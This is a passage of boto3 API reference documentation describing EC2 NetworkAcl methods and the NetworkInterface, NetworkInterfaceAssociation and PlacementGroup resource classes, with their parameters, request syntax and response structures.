+None + +reload() + +Calls [EC2.Client.describe_network_acls()](#EC2.Client.describe_network_acls "EC2.Client.describe_network_acls") to update the attributes of the NetworkAcl resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_acl.reload() + +Returns + +None + +replace_association(kwargs_) + +Changes which network ACL a subnet is associated with. By default when you create a subnet, it's automatically associated with the default network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +This is an idempotent operation. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceNetworkAclAssociation) + +**Request Syntax** + +response = network_acl.replace_association( + AssociationId='string', + DryRun=True|False, + +) + +Parameters + +- **AssociationId** (_string_) -- + + **[REQUIRED]** + + The ID of the current association between the original network ACL and the subnet. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NewAssociationId': 'string' +} + +**Response Structure** + +- _(dict) --_ + + - **NewAssociationId** _(string) --_ + + The ID of the new association. + + +replace_entry(kwargs_) + +Replaces an entry (rule) in a network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceNetworkAclEntry) + +**Request Syntax** + +response = network_acl.replace_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +Parameters + +- **CidrBlock** (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether to replace the egress rule. + + Default: If no value is specified, we replace the ingress rule. + +- **IcmpTypeCode** (_dict_) -- + + ICMP protocol: The ICMP or ICMPv6 type and code. Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + +- **Ipv6CidrBlock** (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:bd8:1234:1a00::/64 ). +- **PortRange** (_dict_) -- + + TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + +- **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol number. A value of "-1" means all protocols. If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + +- **RuleAction** (_string_) -- + + **[REQUIRED]** + + Indicates whether to allow or deny the traffic that matches the rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number of the entry to replace. + + +Returns + +None + +[NetworkInterface](#id1245) +------------------------------------------------------------------------------ + +_class_ EC2.NetworkInterface(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkInterface: + +import boto3 + +ec2 = boto3.resource('ec2') +network_interface = ec2.NetworkInterface('id') + +Parameters + +**id** (_string_) -- The NetworkInterface's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkInterface.id "EC2.NetworkInterface.id") + +These are the resource's available attributes: + +- [association_attribute](#EC2.NetworkInterface.association_attribute "EC2.NetworkInterface.association_attribute") +- [attachment](#EC2.NetworkInterface.attachment "EC2.NetworkInterface.attachment") +- [availability_zone](#EC2.NetworkInterface.availability_zone "EC2.NetworkInterface.availability_zone") +- [description](#EC2.NetworkInterface.description "EC2.NetworkInterface.description") +- [groups](#EC2.NetworkInterface.groups "EC2.NetworkInterface.groups") +- [interface_type](#EC2.NetworkInterface.interface_type "EC2.NetworkInterface.interface_type") +- [ipv6_addresses](#EC2.NetworkInterface.ipv6_addresses "EC2.NetworkInterface.ipv6_addresses") +- [mac_address](#EC2.NetworkInterface.mac_address "EC2.NetworkInterface.mac_address") +- [network_interface_id](#EC2.NetworkInterface.network_interface_id "EC2.NetworkInterface.network_interface_id") +- [outpost_arn](#EC2.NetworkInterface.outpost_arn "EC2.NetworkInterface.outpost_arn") +- [owner_id](#EC2.NetworkInterface.owner_id "EC2.NetworkInterface.owner_id") +- [private_dns_name](#EC2.NetworkInterface.private_dns_name "EC2.NetworkInterface.private_dns_name") +- [private_ip_address](#EC2.NetworkInterface.private_ip_address "EC2.NetworkInterface.private_ip_address") +- [private_ip_addresses](#EC2.NetworkInterface.private_ip_addresses "EC2.NetworkInterface.private_ip_addresses") +- [requester_id](#EC2.NetworkInterface.requester_id "EC2.NetworkInterface.requester_id") +- [requester_managed](#EC2.NetworkInterface.requester_managed "EC2.NetworkInterface.requester_managed") +- [source_dest_check](#EC2.NetworkInterface.source_dest_check "EC2.NetworkInterface.source_dest_check") +- [status](#EC2.NetworkInterface.status "EC2.NetworkInterface.status") +- [subnet_id](#EC2.NetworkInterface.subnet_id "EC2.NetworkInterface.subnet_id") +- [tag_set](#EC2.NetworkInterface.tag_set "EC2.NetworkInterface.tag_set") +- [vpc_id](#EC2.NetworkInterface.vpc_id "EC2.NetworkInterface.vpc_id") + +These are the resource's available references: + +- [association](#EC2.NetworkInterface.association "EC2.NetworkInterface.association") +- [subnet](#EC2.NetworkInterface.subnet "EC2.NetworkInterface.subnet") +- [vpc](#EC2.NetworkInterface.vpc "EC2.NetworkInterface.vpc") + +These are the resource's available actions: + +- [assign_private_ip_addresses()](#EC2.NetworkInterface.assign_private_ip_addresses "EC2.NetworkInterface.assign_private_ip_addresses") +- [attach()](#EC2.NetworkInterface.attach "EC2.NetworkInterface.attach") +- [create_tags()](#EC2.NetworkInterface.create_tags "EC2.NetworkInterface.create_tags") +- [delete()](#EC2.NetworkInterface.delete "EC2.NetworkInterface.delete") +- [describe_attribute()](#EC2.NetworkInterface.describe_attribute "EC2.NetworkInterface.describe_attribute") +- [detach()](#EC2.NetworkInterface.detach "EC2.NetworkInterface.detach") +- [get_available_subresources()](#EC2.NetworkInterface.get_available_subresources "EC2.NetworkInterface.get_available_subresources") +- [load()](#EC2.NetworkInterface.load "EC2.NetworkInterface.load") +- [modify_attribute()](#EC2.NetworkInterface.modify_attribute "EC2.NetworkInterface.modify_attribute") +- [reload()](#EC2.NetworkInterface.reload "EC2.NetworkInterface.reload") +- [reset_attribute()](#EC2.NetworkInterface.reset_attribute "EC2.NetworkInterface.reset_attribute") +- [unassign_private_ip_addresses()](#EC2.NetworkInterface.unassign_private_ip_addresses "EC2.NetworkInterface.unassign_private_ip_addresses") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkInterface's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkInterface.load "EC2.NetworkInterface.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_attribute + +- _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + - **AllocationId** _(string) --_ + + The allocation ID. + + - **AssociationId** _(string) --_ + + The association ID. + + - **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + - **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + +attachment + +- _(dict) --_ + + The network interface attachment. + + - **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **Status** _(string) --_ + + The attachment state. + + +availability_zone + +- _(string) --_ + + The Availability Zone. + + +description + +- _(string) --_ + + A description. + + +groups + +- _(list) --_ + + Any security groups for the network interface. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + +interface_type + +- _(string) --_ + + The type of network interface. + + +ipv6_addresses + +- _(list) --_ + + The IPv6 addresses associated with the network interface. + + - _(dict) --_ + + Describes an IPv6 address associated with a network interface. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + +mac_address + +- _(string) --_ + + The MAC address. + + +network_interface_id + +- _(string) --_ + + The ID of the network interface. + + +outpost_arn + +- _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +owner_id + +- _(string) --_ + + The AWS account ID of the owner of the network interface. + + +private_dns_name + +- _(string) --_ + + The private DNS name. + + +private_ip_address + +- _(string) --_ + + The IPv4 address of the network interface within the subnet. + + +private_ip_addresses + +- _(list) --_ + + The private IPv4 addresses associated with the network interface. + + - _(dict) --_ + + Describes the private IPv4 address of a network interface. + + - **Association** _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + - **AllocationId** _(string) --_ + + The allocation ID. + + - **AssociationId** _(string) --_ + + The association ID. + + - **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + - **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + - **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IPv4 address of the network interface. + + - **PrivateDnsName** _(string) --_ + + The private DNS name. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address. + + +requester_id + +- _(string) --_ + + The ID of the entity that launched the instance on your behalf (for example, AWS Management Console or Auto Scaling). + + +requester_managed + +- _(boolean) --_ + + Indicates whether the network interface is being managed by AWS. + + +source_dest_check + +- _(boolean) --_ + + Indicates whether traffic to or from the instance is validated. + + +status + +- _(string) --_ + + The status of the network interface. + + +subnet_id + +- _(string) --_ + + The ID of the subnet. + + +tag_set + +- _(list) --_ + + Any tags assigned to the network interface. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +association + +(NetworkInterfaceAssociation) The related association if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +assign_private_ip_addresses(kwargs_) + +Assigns one or more secondary private IP addresses to the specified network interface. + +You can specify one or more specific secondary IP addresses, or you can specify the number of secondary IP addresses to be automatically assigned within the subnet's CIDR block range. The number of secondary IP addresses that you can assign to an instance varies by instance type. For information about instance types, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about Elastic IP addresses, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you move a secondary private IP address to another network interface, any Elastic IP address that is associated with the IP address is also moved. + +Remapping an IP address is an asynchronous operation. When you move an IP address from one network interface to another, check network/interfaces/macs/mac/local-ipv4s in the instance metadata to confirm that the remapping is complete. + +You must specify either the IP addresses or the IP address count in the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssignPrivateIpAddresses) + +**Request Syntax** + +response = network_interface.assign_private_ip_addresses( + AllowReassignment=True|False, + PrivateIpAddresses=[ + 'string', + ], + SecondaryPrivateIpAddressCount=123 +) + +Parameters + +- **AllowReassignment** (_boolean_) -- Indicates whether to allow an IP address that is already assigned to another network interface or instance to be reassigned to the specified network interface. +- **PrivateIpAddresses** (_list_) -- + + One or more IP addresses to be assigned as a secondary private IP address to the network interface. You can't specify this parameter when also specifying a number of secondary IP addresses. + + If you don't specify an IP address, Amazon EC2 automatically selects an IP address within the subnet range. + + - _(string) --_ +- **SecondaryPrivateIpAddressCount** (_integer_) -- The number of secondary IP addresses to assign to the network interface. You can't specify this parameter when also specifying private IP addresses. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterfaceId': 'string', + 'AssignedPrivateIpAddresses': [ + { + 'PrivateIpAddress': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **AssignedPrivateIpAddresses** _(list) --_ + + The private IP addresses assigned to the network interface. + + - _(dict) --_ + + Describes the private IP addresses assigned to a network interface. + + - **PrivateIpAddress** _(string) --_ + + The private IP address assigned to the network interface. + + +attach(kwargs_) + +Attaches a network interface to an instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachNetworkInterface) + +**Request Syntax** + +response = network_interface.attach( + DeviceIndex=123, + DryRun=True|False, + InstanceId='string', + NetworkCardIndex=123 +) + +Parameters + +- **DeviceIndex** (_integer_) -- + + **[REQUIRED]** + + The index of the device for the network interface attachment. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +- **NetworkCardIndex** (_integer_) -- The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachmentId': 'string', + 'NetworkCardIndex': 123 +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of AttachNetworkInterface. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = network_interface.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified network interface. You must detach the network interface before you can delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkInterface) + +**Request Syntax** + +response = network_interface.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes a network interface attribute. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.describe_attribute( + Attribute='description'|'groupSet'|'sourceDestCheck'|'attachment', + DryRun=True|False, + +) + +Parameters + +- **Attribute** (_string_) -- The attribute of the network interface. This parameter is required. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'NetworkCardIndex': 123, + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'Status': 'attaching'|'attached'|'detaching'|'detached' + }, + 'Description': { + 'Value': 'string' + }, + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'SourceDestCheck': { + 'Value': True|False + } +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeNetworkInterfaceAttribute. + + - **Attachment** _(dict) --_ + + The attachment (if any) of the network interface. + + - **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **Status** _(string) --_ + + The attachment state. + + - **Description** _(dict) --_ + + The description of the network interface. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **Groups** _(list) --_ + + The security groups associated with the network interface. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **SourceDestCheck** _(dict) --_ + + Indicates whether source/destination checking is enabled. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +detach(kwargs_) + +Detaches a network interface from an instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachNetworkInterface) + +**Request Syntax** + +response = network_interface.detach( + DryRun=True|False, + Force=True|False +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Specifies whether to force a detachment. + + Note + + - Use the Force parameter only as a last resort to detach a network interface from a failed instance. + - If you use the Force parameter to detach a network interface, you might not be able to attach a different network interface to the same index on the instance without first stopping and starting the instance. + - If you force the detachment of a network interface, the [instance metadata](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) might not get updated. This means that the attributes associated with the detached network interface might still be visible. The instance metadata will get updated when you stop and start the instance. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterface resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified network interface attribute. You can specify only one attribute at a time. You can use this action to attach and detach security groups from an existing EC2 instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.modify_attribute( + Attachment={ + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False + }, + Description={ + 'Value': 'string' + }, + DryRun=True|False, + Groups=[ + 'string', + ], + SourceDestCheck={ + 'Value': True|False + } +) + +Parameters + +- **Attachment** (_dict_) -- + + Information about the interface attachment. If modifying the 'delete on termination' attribute, you must specify the ID of the interface attachment. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + +- **Description** (_dict_) -- + + A description for the network interface. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Groups** (_list_) -- + + Changes the security groups for the network interface. The new set of groups you specify replaces the current set. You must specify at least one group, even if it's just the default security group in the VPC. You must specify the ID of the security group, not the name. + + - _(string) --_ +- **SourceDestCheck** (_dict_) -- + + Indicates whether source/destination checking is enabled. A value of true means checking is enabled, and false means checking is disabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterface resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface.reload() + +Returns + +None + +reset_attribute(kwargs_) + +Resets a network interface attribute. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.reset_attribute( + DryRun=True|False, + SourceDestCheck='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SourceDestCheck** (_string_) -- The source/destination checking attribute. Resets the value to true . + +Returns + +None + +unassign_private_ip_addresses(kwargs_) + +Unassigns one or more secondary private IP addresses from a network interface. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnassignPrivateIpAddresses) + +**Request Syntax** + +response = network_interface.unassign_private_ip_addresses( + PrivateIpAddresses=[ + 'string', + ] +) + +Parameters + +**PrivateIpAddresses** (_list_) -- + +**[REQUIRED]** + +The secondary private IP addresses to unassign from the network interface. You can specify this option multiple times to unassign more than one IP address. + +- _(string) --_ + +Returns + +None + +[NetworkInterfaceAssociation](#id1246) +---------------------------------------------------------------------------------------------------- + +_class_ EC2.NetworkInterfaceAssociation(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkInterfaceAssociation: + +import boto3 + +ec2 = boto3.resource('ec2') +network_interface_association = ec2.NetworkInterfaceAssociation('id') + +Parameters + +**id** (_string_) -- The NetworkInterfaceAssociation's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkInterfaceAssociation.id "EC2.NetworkInterfaceAssociation.id") + +These are the resource's available attributes: + +- [carrier_ip](#EC2.NetworkInterfaceAssociation.carrier_ip "EC2.NetworkInterfaceAssociation.carrier_ip") +- [ip_owner_id](#EC2.NetworkInterfaceAssociation.ip_owner_id "EC2.NetworkInterfaceAssociation.ip_owner_id") +- [public_dns_name](#EC2.NetworkInterfaceAssociation.public_dns_name "EC2.NetworkInterfaceAssociation.public_dns_name") +- [public_ip](#EC2.NetworkInterfaceAssociation.public_ip "EC2.NetworkInterfaceAssociation.public_ip") + +These are the resource's available references: + +- [address](#EC2.NetworkInterfaceAssociation.address "EC2.NetworkInterfaceAssociation.address") + +These are the resource's available actions: + +- [delete()](#EC2.NetworkInterfaceAssociation.delete "EC2.NetworkInterfaceAssociation.delete") +- [get_available_subresources()](#EC2.NetworkInterfaceAssociation.get_available_subresources "EC2.NetworkInterfaceAssociation.get_available_subresources") +- [load()](#EC2.NetworkInterfaceAssociation.load "EC2.NetworkInterfaceAssociation.load") +- [reload()](#EC2.NetworkInterfaceAssociation.reload "EC2.NetworkInterfaceAssociation.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkInterfaceAssociation's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkInterfaceAssociation.load "EC2.NetworkInterfaceAssociation.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +carrier_ip + +- _(string) --_ + + The carrier IP address associated with the network interface. + + +ip_owner_id + +- _(string) --_ + + The ID of the owner of the Elastic IP address. + + +public_dns_name + +- _(string) --_ + + The public DNS name. + + +public_ip + +- _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +address + +(VpcAddress) The related address if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Disassociates an Elastic IP address from the instance or network interface it's associated with. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateAddress) + +**Request Syntax** + +response = network_interface_association.delete( + PublicIp='string', + DryRun=True|False +) + +Parameters + +- **PublicIp** (_string_) -- [EC2-Classic] The Elastic IP address. Required for EC2-Classic. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterfaceAssociation resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface_association.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterfaceAssociation resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface_association.reload() + +Returns + +None + +[PlacementGroup](#id1247) +-------------------------------------------------------------------------- + +_class_ EC2.PlacementGroup(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) PlacementGroup: + +import boto3 + +ec2 = boto3.resource('ec2') +placement_group = ec2.PlacementGroup('name') + +Parameters + +**name** (_string_) -- The PlacementGroup's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.PlacementGroup.name "EC2.PlacementGroup.name") + 